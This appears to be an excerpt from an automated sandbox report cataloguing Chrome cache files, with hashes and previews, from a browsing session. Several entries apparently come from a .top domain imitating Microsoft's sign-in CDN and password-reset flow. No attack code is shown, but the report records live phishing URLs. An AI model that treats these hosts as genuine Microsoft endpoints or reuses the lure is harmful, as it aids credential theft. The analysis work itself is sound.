Object.getOwnPropertyDescriptor(t,u).enumerable}))),o.forEach(function(u){Ie(e,u,t[u])})}return e}function fr(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (941), with CRLF line terminators
Category:	dropped
Size (bytes):	51589
Entropy (8bit):	4.642913163969687
Encrypted:	false
SSDEEP:	768:3VBssGxceloPwIROL5IBRe7RMCb9f3lQfWGfAlBRsYXzrSSl:3VAmrRVBRe7eCN3lQfWGfAlBRsYX6Sl
MD5:	F2A291F2D974B67E2657D0B7B3CD2C7C
SHA1:	F1A102008A00CB8254553F89BB7B453ADF68AEA6
SHA-256:	E25109201871B1AF6E7CBDBE7634EB1982214BE26EEC49E58A4C3C2F471BA09D
SHA-512:	58307B0D4DDD82D010D71B327F7D764F5074CC5F61472FE046905E52C3798413F7E42D68B5BE7043ECAC6557379B5A09069DF663E5D3051D25355B8E4612EF6A
Malicious:	false
Reputation:	low
Preview:	..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">..<head><title>...Microsoft Online Password Reset..</title><meta http-equiv="x-ua-compatible" content="IE=9" /><meta http-equiv="Expires" content="0" /><meta http-equiv="Pragma" content="no-cache" /><meta http-equiv="Cache-Control" content="no-store, no-cache" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="robots" content="noindex, nofollow, NOODP, NOYDIR" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link id="FavoriteIcon" rel="Shortcut Icon" type="image/x-icon" href="../favicon.ico?v=1342177280" />.... <script src="//ajax.aspnetcdn.com/ajax/jQuery/jquery-3.6.0.min.js" type="text/javascript"></script>.. <script type="text/javascript">window.jQuery \|\| document.write('<script type="text/javascript" src="../js/jquery-3.6.0.min.js">\

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	dropped
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	132
Entropy (8bit):	4.945787382366693
Encrypted:	false
SSDEEP:	3:yionv//thPnFuXf8Lts7CX9/gm6Kp0syxtuIdsvFQAahUMZ/jp:6v/lhPBR/C+aNuqsvFQA0UMpp
MD5:	3EDA15637AFEAC6078F56C9DCC9BBDB8
SHA1:	97B900884183CB8CF99BA069EEDC280C599C1B74
SHA-256:	68C66D144855BA2BC8B8BEE88BB266047367708C1E281A21B9D729B1FBD23429
SHA-512:	06B21827589FCAF63B085DB2D662737B24A39A697FF9138BDF188408647C3E90784B355F2B8390160CA487992C033CE735599271EE35873E1941812AB6C34B52
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/resources/images/0/sprite1.mouse.png
Preview:	.PNG........IHDR...X..........x......sRGB.........gAMA......a.....pHYs..........o.d....IDATHK..1......Om.O ...j.a...\BW....IEND.B`.

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	12980
Entropy (8bit):	4.656952280411437
Encrypted:	false
SSDEEP:	384:QjJmcs01WskN59g1+VW1aEV4xvbw94l1R5SUcZEWajJIcjqTqxBojafes0OPUE9h:t4i7l1rSVajJWjs0O8E9h
MD5:	8EDFCD3F7A179CFF6B123DFF50F29770
SHA1:	7A2D9BB4B9F6072AB3049E6421021A5BA0A3DADF
SHA-256:	D0B747C7F7414A08B0D5107832B2F4BB44A9BB4A3AAD28390F58EDE8BBEA6AE1
SHA-512:	169D1C71078DCB1C65B3CBAFBA3379B94718D6C1E472990666430A6B2C0483CC9B27E13820A29D2DCA2364D3CD3F7D2ECDED48B9ACF406BF74CB505489FB9503
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/js/Button.js?v=1342177280
Preview:	.//------------------------------------------------------------..// Copyright (c) Microsoft Corporation. All rights reserved...//------------------------------------------------------------....var Button = new Object();....Button.ActiveButton = null;..Button.FocusButton = null;..Button.DefaultButton = null;..Button.CancelButton = null;..Button.ActivatedButtonID = null;..Button.Groups = {};....Button.SetText = function(id, text) {.. var button = document.getElementById(id);.. if (button != null) {.. for (var i = 0; i < button.children.length; i++) {.. var ch = button.children[i];.. if (ch.tagName.toLowerCase() == 'span') {.. ch.innerHTML = text; //// TODO: this causes the text wrapped with an <a> tag to get inserted in Firefox, which needs to get fixed... break;.. }.. }.. }.. var span = document.getElementById(id + '_disabled');.. if (span != null) {.. for (var i = 0; i < span.childr

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 58 x 5, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPl36t/Zw/l/xl/k4E08up:6v/lhPQtm17Tp
MD5:	3A3D377C397687F18CD9AE6EC71EF8BE
SHA1:	2020259CABE8782655830FE7EE363B061F075B07
SHA-256:	61C0258B198F4E1BE625569F5653424B08B61427CC3678D86B6E1262E73BAC92
SHA-512:	5EC50EC856FFB79F7C43E074E929E694052CA3512560ABEE2AA92CB6D4A698C48E39715CF4E85DAFEFF05F416BD9F4BC4A872D52123A044720A46D808D7F0421
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/87a07069393b53b7/1714070194214/ypZU3uoYL2TKkUO
Preview:	.PNG........IHDR...:...........h.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1561
Entropy (8bit):	7.762338770217686
Encrypted:	false
SSDEEP:	48:c/CeK/fE+XoVldIkPdTWbuf173xX964boBdIhLE:ntcx/Iksbuf17f64borIK
MD5:	8DC34013E911C5F68FC2BCA0400CB06F
SHA1:	16BAFA91AF100D65C4945F04E0C6E1643B98CF00
SHA-256:	795029D360C3D16233FCE96F1BFF13C261535C0885FAE806CFF766F32D96BCEE
SHA-512:	83ACA42A30BFD629BC1E88D3ED154475E7949C1B154D19E6C9EF1DE825BA7967C0B6DA9EE79E7B420668242CCE5931DF344C97278A254F0A72C3D09EABED6051
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d.....pHYs...........S.....tEXtCreation Time.05/06/16...o....tEXtSoftware.Adobe Fireworks CS6.....qIDATh..=l.E.....H..H*.\|... ...&.D..).@....&...N....)_.E ...(.p...p(H...Ht... ..0............i.}s.....{`ss....;.......:...u..."....Az.r.%.9.\|....wU.j...o....N4...~....g.u.=`.;..9.7.%....Ad#......9....~7.....&.a........`]x^D....&,"..kv.l..K.S+!....#{.xm.;..%.+F<.\..#...bN...2...\.".I..U]..#.dWy$."r.2;Z...w)oD..H..u..M.'.k70.<4aG..`'~......k31W.2!Ue.A"..j....X..C...dNUd.... .j.\|c."..../..P.MXD......C`>7Y.K...n.....U..#..^4....Uu...Q.);.`9q.53..n.@.......A6.E,6.-d; ........nl.>..."..N7..9\6.....p^a..4aG...3...gUu#..j...2............f.....^.)...Udo'&..G.C.Z...L).....".t...pCD..n..a.....E....F...o.k.Y+b...[...gT..... ...]....V..m.!\..SCwh8w..J^.3N........\.W.....3.....lP.Da........-..........@_...i......r..%..)E.Q...3..M..o.$...`...".......-/EHIDZ.q.MC.......D.Q..".. ..#...................1...p.x?dKP.=...{u\.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 4 icons, 64x64, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	24038
Entropy (8bit):	5.992474931914016
Encrypted:	false
SSDEEP:	384:cLU4fKWVUvyZk56/1+fZfMj8hTb5nz0bnOWWWWWWWWWWWWWWWWWWWWWWWWWqvESs:cLxfKW6yZk8/iZfMjYxnzonm9MaKcuwW
MD5:	877784A5F5808CEFA2B61E73BFCF8EAE
SHA1:	6A0E7EDA2734D7BBBA3CE38D37B347DF001B1DBF
SHA-256:	BE7F0632337BC381D4962125545A5CC3C1E84E2D03DBDB97AB3D79AD78B91B6D
SHA-512:	DABFFC928F7ED2A2D05003DAEF643806BD1CEC6B98E705F7415A82AFE7034F4E1E8A70C5AE69B094A948EEDAB4E8B76DCF72DF881DA092FE4AB76DA0EEFB8C3C
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/favicon.ico?v=1342177280
Preview:	......@@.... .(@..F... .... .(...n@........ .(....P........ .(....Y..(...@......... ............................................................W.X..~S...W...X...X...X..X..V..p...}.............................................................kQ.W*..S$..wK..k..k..k..m..m..p..q..q..r..~......".........................................................................t..s'..^...\...^..._..._...`...a...b...e....M.................................................................fF.^...sB...m...v...w...x...x...y...{...{............%...#..."..."... ......................................................................v.._..xL...V...X...X...Y...Z...Z...\...`..}N...k#....................................................................rO4.Y+...T...k...q...q...p...q...q...u...}...."...$... .................................................................................j...S...T...X...Z...Y...Z...[...Z...]..._..{O...o?...........................................

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 17 x 25, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	471
Entropy (8bit):	7.197252382638843
Encrypted:	false
SSDEEP:	12:6v/7eM/H/HTOlHAbsnwpncDR1pxInjqrrgRRIEw6Jz:qHTO0Gwpnc7pOnjqngRR1nJz
MD5:	C651D60A08FF0F579E2EB9BE6043A3C6
SHA1:	E7BCBB896EEA20A4DC68EDD2EF5B336E92690A55
SHA-256:	7B4B6ADAA1DDA648143A18A52B51DFAAB54775BDB6284DFF5C869235CD385230
SHA-512:	017C29423F096A45AD5D1002B2F14E27A8298F144A962B78F46A96626A1027D5E4EC57468CD8F8C5B9E97461FA651452A1786CD9F5F76264652D03F55D516138
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............>.....sRGB.........gAMA......a.....pHYs..........+......tEXtSoftware.Adobe ImageReadyq.e<...GIDAT8O...@...;Wa.`.X....b....... A.F....K...a..t*{3.e...K.....C..0.....)~;.eYvP....L}.KAEQP.4..WYd....mV]..m....$M...`...C.$R.......`..dM.T....,RU..TU..`.'0.!...D[`p..W)D8,dv]Wt....\^v.$.s..`.i...!...D..e$......$.8../..8....;..\6,...f\|....n.....e..M...g.O.9....q..&........0.w...k...z....\.iZ..c.;.F...Uq7.'Y....X ....IEND.B`.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.625316929997096
Encrypted:	false
SSDEEP:	3:tpSf4Ck8efFlK5ly:tak8efFlyly
MD5:	D1690731F22021E1466FBCD0DB6326EF
SHA1:	78F95BA0B7F82BBB7067000242DE860594ABD9C3
SHA-256:	490216DF4F089BB5C249BCF4034D0671254CA4236EC3ECA935AAC4B17E0FC7F3
SHA-512:	10B3CE812684D28DC72B74BA220E9A0DEE38550D49D25BB40B9EEB8764EE386E5F530D28A5E7C8E159B5C672D85D8649B102F3F04BD96092F9787ACACA4DBDF1
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSLAnYh4U85ulXExIFDURbFPwSBQ2L4FIoEgUNxK_d4xIFDW1rCkoSBQ2VKJT-?alt=proto
Preview:	CjEKCw1EWxT8GgQIZBgCCgcNi+BSKBoACgcNxK/d4xoACgcNbWsKShoACgcNlSiU/hoA

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	689017
Entropy (8bit):	4.210697599646938
Encrypted:	false
SSDEEP:	6144:rnQWWDY3mr16XRxcpuEhjMPRKkC0d7xyF0FA9OgoUE0HUN4oe+:rBWU3xhDKkTshoj5
MD5:	3E89AE909C6A8D8C56396830471F3373
SHA1:	2632F95A5BE7E4C589402BF76E800A8151CD036B
SHA-256:	6665CA6A09F770C6679556EB86CF4234C8BDB0271049620E03199B34B4A16099
SHA-512:	E7DBE4E95D58F48A0C8E3ED1F489DCF8FBF39C3DB27889813B43EE95454DECA2816AC1E195E61A844CC9351E04F97AFA271B37CAB3FC522809CE2BE85CC1B8F0
Malicious:	false
Reputation:	low
URL:	https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_4aBF4cdky--I3Cpch7JoPw2.js
Preview:	.!(function (e) {. function n(n) {. for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++). (i = o[s]),. Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]),. (a[i] = 0);. for (t in r) Object.prototype.hasOwnProperty.call(r, t) && (e[t] = r[t]);. for (d && d(n); c.length; ) c.shift()();. }. var t,. i = {},. a = { 22: 0 };. function o(n) {. if (i[n]) return i[n].exports;. var t = (i[n] = { i: n, l: !1, exports: {} });. return e[n].call(t.exports, t, t.exports, o), (t.l = !0), t.exports;. }. Function.prototype.bind \|\|. ((t = Array.prototype.slice),. (Function.prototype.bind = function (e) {. if ("function" != typeof this). throw new TypeError(. "Function.prototype.bind - what is trying to be bound is not callable". );. var n = t.call(arguments, 1),. i = n.length,. a = this,. o = function () {},. r = function () {. return (.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1101), with CRLF line terminators
Category:	downloaded
Size (bytes):	52300
Entropy (8bit):	4.692980347676792
Encrypted:	false
SSDEEP:	768:3VNBoGxcJJwIRVL5IBRe7RMCb9elQfWGfAlBRsYXzrSSl:3VQrRYBRe7eCwlQfWGfAlBRsYX6Sl
MD5:	2D561CD62E66E2A2C3FDDA630A66859F
SHA1:	A091FAFAE8AF3ED1275E940E19EA558C0495DDC1
SHA-256:	0D52B0044F9236C0CBE3FDA68496D2D9FE71BC8F12B21AA30EDA01F197D06EF5
SHA-512:	F736D2F2666BD39CAE18A76175B9B05801AF0AB84E36B88E05C958499FEFBF4E7522FEC4EA1B5EF2FFD6D99AB9E5642AFA2FD8671513800498C02303BBE4745C
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2fv-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top%2fcommon%2freprocess%3fctx%3drQQIARAAjZE_TBNhAMXv65UTEKXBxU1z0YV47V3vendtgrFXroAtUKUIVE29fvcdd-1dv3J_2gJhJQ7GEDeNk2PjYJwMg3EzIQ6NxoVF40TQGOMCiYmx1cVN3_Dyhpc3_N44yUW51AX2j-JM3xnWMDgGon76S-7YcOTIf0--2-1-en2rdPGNnbc74Jzp-w0vFYvhwLcxrkWxYVgQRSF2YrilxV4A0AXgAIAHoTOeiQJ0RTI1y4Wa-7vTCUkiLwtJUZRYTuREQZb4eLRSgXHBiCcZWZBYRuA1nZENUWJggpN1VpS4pI72Q6Pz6cA3433DrrWBvoeGDOw65Qb2_EfkfTAJfWXSm1lVVeU6my_gal1Lw6XSytRM0spl0yZburpY1dFy2wgkN3Fjoc2oLU0xrxezQkudzK54uJjha3y-Zq4HedNUFDzLlKxZ11usLefazkwFmtlqGcrJHqyKXGa0uSDpB9yGoRvr-QWouu60n0MJe6HJc0qrQ_4X5eck1cPi4PoeSeEGqlt6Nww-hsFheIQlU4ODwxHiLHGeOA6DJwO9Q15--PG0dKeRe7zDHl1-u03sDcQQtKWVijOHrKKJlq41hUXesNV0uy62-XXH3KgWfDHBe40W25qIp7gdCuxQ1C41NEhGCJrMFLgDCnyjwN0TxO7Qv97tngT7I8IwBW3Ncryx8U3a0ss-rqE6ndqk245XhrCfmpodII9O3aR7-_Ttra2tV6eI49Nfft7b_tx5-HX6cPTSlFIM3DXTyyB5TpHmfWWV0wy-ac2KS2tr3DJnFnCQkWuOnVAnnkWIXw2&mkt=en-US&hosted=0&device_platform=Windows+10
Preview:	..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">..<head><title>...Microsoft Online Password Reset..</title><meta http-equiv="x-ua-compatible" content="IE=9" /><meta http-equiv="Expires" content="0" /><meta http-equiv="Pragma" content="no-cache" /><meta http-equiv="Cache-Control" content="no-store, no-cache" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="robots" content="noindex, nofollow, NOODP, NOYDIR" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link id="FavoriteIcon" rel="Shortcut Icon" type="image/x-icon" href="favicon.ico?v=1342177280" />.... <script src="//ajax.aspnetcdn.com/ajax/jQuery/jquery-3.6.0.min.js" type="text/javascript"></script>.. <script type="text/javascript">window.jQuery \|\| document.write('<script type="text/javascript" src="js/jquery-3.6.0.min.js">\x3C/sc

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 89 x 18, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1805
Entropy (8bit):	7.265265285391204
Encrypted:	false
SSDEEP:	24:oV1hpunQWwjx82lY2T32HEV8KJyJ3VAyKOGpxbAKJcyIXRP6VEBxX4pAE60KKAU9:4itNn2VMJ3R6breHDBBThFtYeD5B2
MD5:	BC89C1FBFBC227DC5A7ED9B2797E240D
SHA1:	8A9390297FDD0963C466CF2FD35D5B1F88A46B6A
SHA-256:	744A8CD0A4D15DFCF4A5D2E832FF556D950F8AF24D7B66104AB2EF4FE2605D9A
SHA-512:	C18F6B22F4AC5040E3FEBE8034AD3A3A3EF32CF3384BE6C3144B2EB04080F03111743D5B30AF3A1343AFD68A20AAE5972422C724107243D00CD9CF263DDC10C7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...Y.........0.r.....sRGB.........gAMA......a.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:BABFACAF901511E2BD4FDE5C526470CF" xmpMM:DocumentID="xmp.did:BABFACB0901511E2BD4FDE5C526470CF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BABFACAD901511E2BD4FDE5C526470CF" stRef:documentID="xmp.did:BABFACAE901511E2BD4FDE5C526470CF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..R....fIDATXG.mq[1.E.!...3&...P.................3..~L..q.O..t..{...v?..n.....b#.-.i..

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	56
Entropy (8bit):	4.789148671903071
Encrypted:	false
SSDEEP:	3:6ATunSkkagj0kKtBQn:uSBaWdCQn
MD5:	00C1448AD80E1D275626EC86F11C895B
SHA1:	02B029C3FB63654B46EDAF1A5E2277EABE6DC580
SHA-256:	AFA0261F887A267405B3093BC84467AA13081C38A2CD8177B1E07E1578D6F2EE
SHA-512:	D2C4AF35520531E7FB020B81FB9CF154BFB87166266D3C07B21DD94407403884F7FA9BD505371D15CC27EF2936197532E5D8C19F157DA923C54087435581EC93
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwnnmaN3UqBj1xIFDU9-u70SBQ1Xevf9EhcJ-9S7d4h7ygQSBQ1Pfru9EgUNV3r3_Q==?alt=proto
Preview:	ChIKBw1Pfru9GgAKBw1Xevf9GgAKEgoHDU9+u70aAAoHDVd69/0aAA==

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
Reputation:	low
URL:	https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 89 x 18, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1805
Entropy (8bit):	7.265265285391204
Encrypted:	false
SSDEEP:	24:oV1hpunQWwjx82lY2T32HEV8KJyJ3VAyKOGpxbAKJcyIXRP6VEBxX4pAE60KKAU9:4itNn2VMJ3R6breHDBBThFtYeD5B2
MD5:	BC89C1FBFBC227DC5A7ED9B2797E240D
SHA1:	8A9390297FDD0963C466CF2FD35D5B1F88A46B6A
SHA-256:	744A8CD0A4D15DFCF4A5D2E832FF556D950F8AF24D7B66104AB2EF4FE2605D9A
SHA-512:	C18F6B22F4AC5040E3FEBE8034AD3A3A3EF32CF3384BE6C3144B2EB04080F03111743D5B30AF3A1343AFD68A20AAE5972422C724107243D00CD9CF263DDC10C7
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/images/header_Microsoft.png
Preview:	.PNG........IHDR...Y.........0.r.....sRGB.........gAMA......a.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:BABFACAF901511E2BD4FDE5C526470CF" xmpMM:DocumentID="xmp.did:BABFACB0901511E2BD4FDE5C526470CF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BABFACAD901511E2BD4FDE5C526470CF" stRef:documentID="xmp.did:BABFACAE901511E2BD4FDE5C526470CF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..R....fIDATXG.mq[1.E.!...3&...P.................3..~L..q.O..t..{...v?..n.....b#.-.i..

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
